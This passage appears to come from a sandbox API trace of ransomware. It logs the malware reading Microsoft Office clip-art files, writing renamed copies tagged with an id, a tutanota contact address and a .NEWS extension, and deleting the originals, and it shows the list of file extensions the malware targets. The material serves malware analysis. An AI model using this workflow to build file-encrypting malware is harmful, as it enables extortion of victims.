(lpString1=".7z", lpString2="WMF") returned -1 [0270.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.985] lstrlenW (lpString=".dbf") returned 4 [0270.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.986] lstrlenW (lpString=".1cd") returned 4 [0270.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.986] lstrlenW (lpString=".jpg") returned 4 [0270.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.986] lstrlenW (lpString=".doc") returned 4 [0270.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.987] lstrlenW (lpString=".docx") returned 5 [0270.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.987] lstrlenW (lpString=".pdf") returned 4 [0270.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.987] lstrlenW (lpString=".xls") returned 4 [0270.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.987] lstrlenW (lpString=".xlsx") returned 5 [0270.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.987] lstrlenW (lpString=".ppt") returned 4 [0270.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.987] lstrlenW (lpString=".zip") returned 4 [0270.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.988] lstrlenW (lpString=".rar") returned 4 [0270.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.988] lstrlenW (lpString=".bz2") returned 4 [0270.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.988] lstrlenW (lpString=".7z") returned 3 [0270.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.988] lstrlenW (lpString=".dbf") returned 4 [0270.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.988] lstrlenW (lpString=".1cd") returned 4 [0270.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.989] lstrlenW (lpString=".jpg") returned 4 [0270.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.989] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.989] lstrlenW (lpString="BS00174_.WMF") returned 12 [0270.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.990] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=8366) returned 1 [0270.991] CloseHandle (hObject=0x3cc) returned 1 [0270.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0270.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.992] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.992] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.993] GetLastError () returned 0x0 [0270.993] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0271.128] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0271.132] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.132] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.132] SetEndOfFile (hFile=0x384) returned 1 [0271.133] CloseHandle (hObject=0x384) returned 1 [0271.133] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.133] SetEndOfFile (hFile=0x3cc) returned 1 [0271.142] CloseHandle (hObject=0x3cc) returned 1 [0271.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0271.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.204] lstrlenW (lpString=".doc") returned 4 [0271.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.204] lstrlenW (lpString=".docx") returned 5 [0271.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.204] lstrlenW (lpString=".pdf") returned 4 [0271.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.204] lstrlenW (lpString=".xls") returned 4 [0271.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.204] lstrlenW (lpString=".xlsx") returned 5 [0271.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.204] lstrlenW (lpString=".ppt") returned 4 [0271.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.205] lstrlenW (lpString=".zip") returned 4 [0271.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.205] lstrlenW (lpString=".rar") returned 4 [0271.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.205] lstrlenW (lpString=".bz2") returned 4 [0271.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.205] lstrlenW (lpString=".7z") returned 3 [0271.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.205] lstrlenW (lpString=".dbf") returned 4 [0271.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.206] lstrlenW (lpString=".1cd") returned 4 [0271.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.206] lstrlenW (lpString=".jpg") returned 4 [0271.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.206] lstrlenW (lpString=".doc") returned 4 [0271.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.207] lstrlenW (lpString=".docx") returned 5 [0271.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.207] lstrlenW (lpString=".pdf") returned 4 [0271.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.207] lstrlenW (lpString=".xls") returned 4 [0271.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.207] lstrlenW (lpString=".xlsx") returned 5 [0271.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.207] lstrlenW (lpString=".ppt") returned 4 [0271.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.208] lstrlenW (lpString=".zip") returned 4 [0271.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.208] lstrlenW (lpString=".rar") returned 4 [0271.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.208] lstrlenW (lpString=".bz2") returned 4 [0271.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.208] lstrlenW (lpString=".7z") returned 3 [0271.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.208] lstrlenW (lpString=".dbf") returned 4 [0271.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.209] lstrlenW (lpString=".1cd") returned 4 [0271.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0271.209] lstrlenW (lpString=".jpg") returned 4 [0271.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.209] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.210] lstrlenW (lpString="BS00184_.WMF") returned 12 [0271.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.211] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4976) returned 1 [0271.211] CloseHandle (hObject=0x3cc) returned 1 [0271.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0271.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.212] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.212] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.215] GetLastError () returned 0x0 [0271.215] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1370, lpOverlapped=0x0) returned 1 [0271.297] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0271.301] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.301] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.301] SetEndOfFile (hFile=0x384) returned 1 [0271.301] CloseHandle (hObject=0x384) returned 1 [0271.302] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.302] SetEndOfFile (hFile=0x3cc) returned 1 [0271.310] CloseHandle (hObject=0x3cc) returned 1 [0271.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.378] lstrlenW (lpString=".doc") returned 4 [0271.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.378] lstrlenW (lpString=".docx") returned 5 [0271.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.379] lstrlenW (lpString=".pdf") returned 4 [0271.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.379] lstrlenW (lpString=".xls") returned 4 [0271.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.379] lstrlenW (lpString=".xlsx") returned 5 [0271.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.379] lstrlenW (lpString=".ppt") returned 4 [0271.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.379] lstrlenW (lpString=".zip") returned 4 [0271.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.379] lstrlenW (lpString=".rar") returned 4 [0271.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.380] lstrlenW (lpString=".bz2") returned 4 [0271.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.380] lstrlenW (lpString=".7z") returned 3 [0271.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.380] lstrlenW (lpString=".dbf") returned 4 [0271.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.380] lstrlenW (lpString=".1cd") returned 4 [0271.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.381] lstrlenW (lpString=".jpg") returned 4 [0271.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.381] lstrlenW (lpString=".doc") returned 4 [0271.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.381] lstrlenW (lpString=".docx") returned 5 [0271.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.381] lstrlenW (lpString=".pdf") returned 4 [0271.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.382] lstrlenW (lpString=".xls") returned 4 [0271.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.382] lstrlenW (lpString=".xlsx") returned 5 [0271.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.382] lstrlenW (lpString=".ppt") returned 4 [0271.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.382] lstrlenW (lpString=".zip") returned 4 [0271.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.382] lstrlenW (lpString=".rar") returned 4 [0271.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.382] lstrlenW (lpString=".bz2") returned 4 [0271.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.382] lstrlenW (lpString=".7z") returned 3 [0271.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.383] lstrlenW (lpString=".dbf") returned 4 [0271.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.383] lstrlenW (lpString=".1cd") returned 4 [0271.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0271.383] lstrlenW (lpString=".jpg") returned 4 [0271.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.384] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.384] lstrlenW (lpString="BS00438_.WMF") returned 12 [0271.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.385] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=1212) returned 1 [0271.385] CloseHandle (hObject=0x3cc) returned 1 [0271.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0271.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.387] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.387] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.388] GetLastError () returned 0x0 [0271.388] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x4bc, lpOverlapped=0x0) returned 1 [0271.501] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0271.883] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.883] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.883] SetEndOfFile (hFile=0x384) returned 1 [0271.884] CloseHandle (hObject=0x384) returned 1 [0271.884] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.884] SetEndOfFile (hFile=0x3cc) returned 1 [0271.892] CloseHandle (hObject=0x3cc) returned 1 [0271.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0271.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.894] lstrlenW (lpString=".doc") returned 4 [0271.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.894] lstrlenW (lpString=".docx") returned 5 [0271.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.895] lstrlenW (lpString=".pdf") returned 4 [0271.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.895] lstrlenW (lpString=".xls") returned 4 [0271.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.895] lstrlenW (lpString=".xlsx") returned 5 [0271.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.895] lstrlenW (lpString=".ppt") returned 4 [0271.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.895] lstrlenW (lpString=".zip") returned 4 [0271.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.896] lstrlenW (lpString=".rar") returned 4 [0271.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.896] lstrlenW (lpString=".bz2") returned 4 [0271.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.896] lstrlenW (lpString=".7z") returned 3 [0271.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.896] lstrlenW (lpString=".dbf") returned 4 [0271.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.896] lstrlenW (lpString=".1cd") returned 4 [0271.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.897] lstrlenW (lpString=".jpg") returned 4 [0271.897] 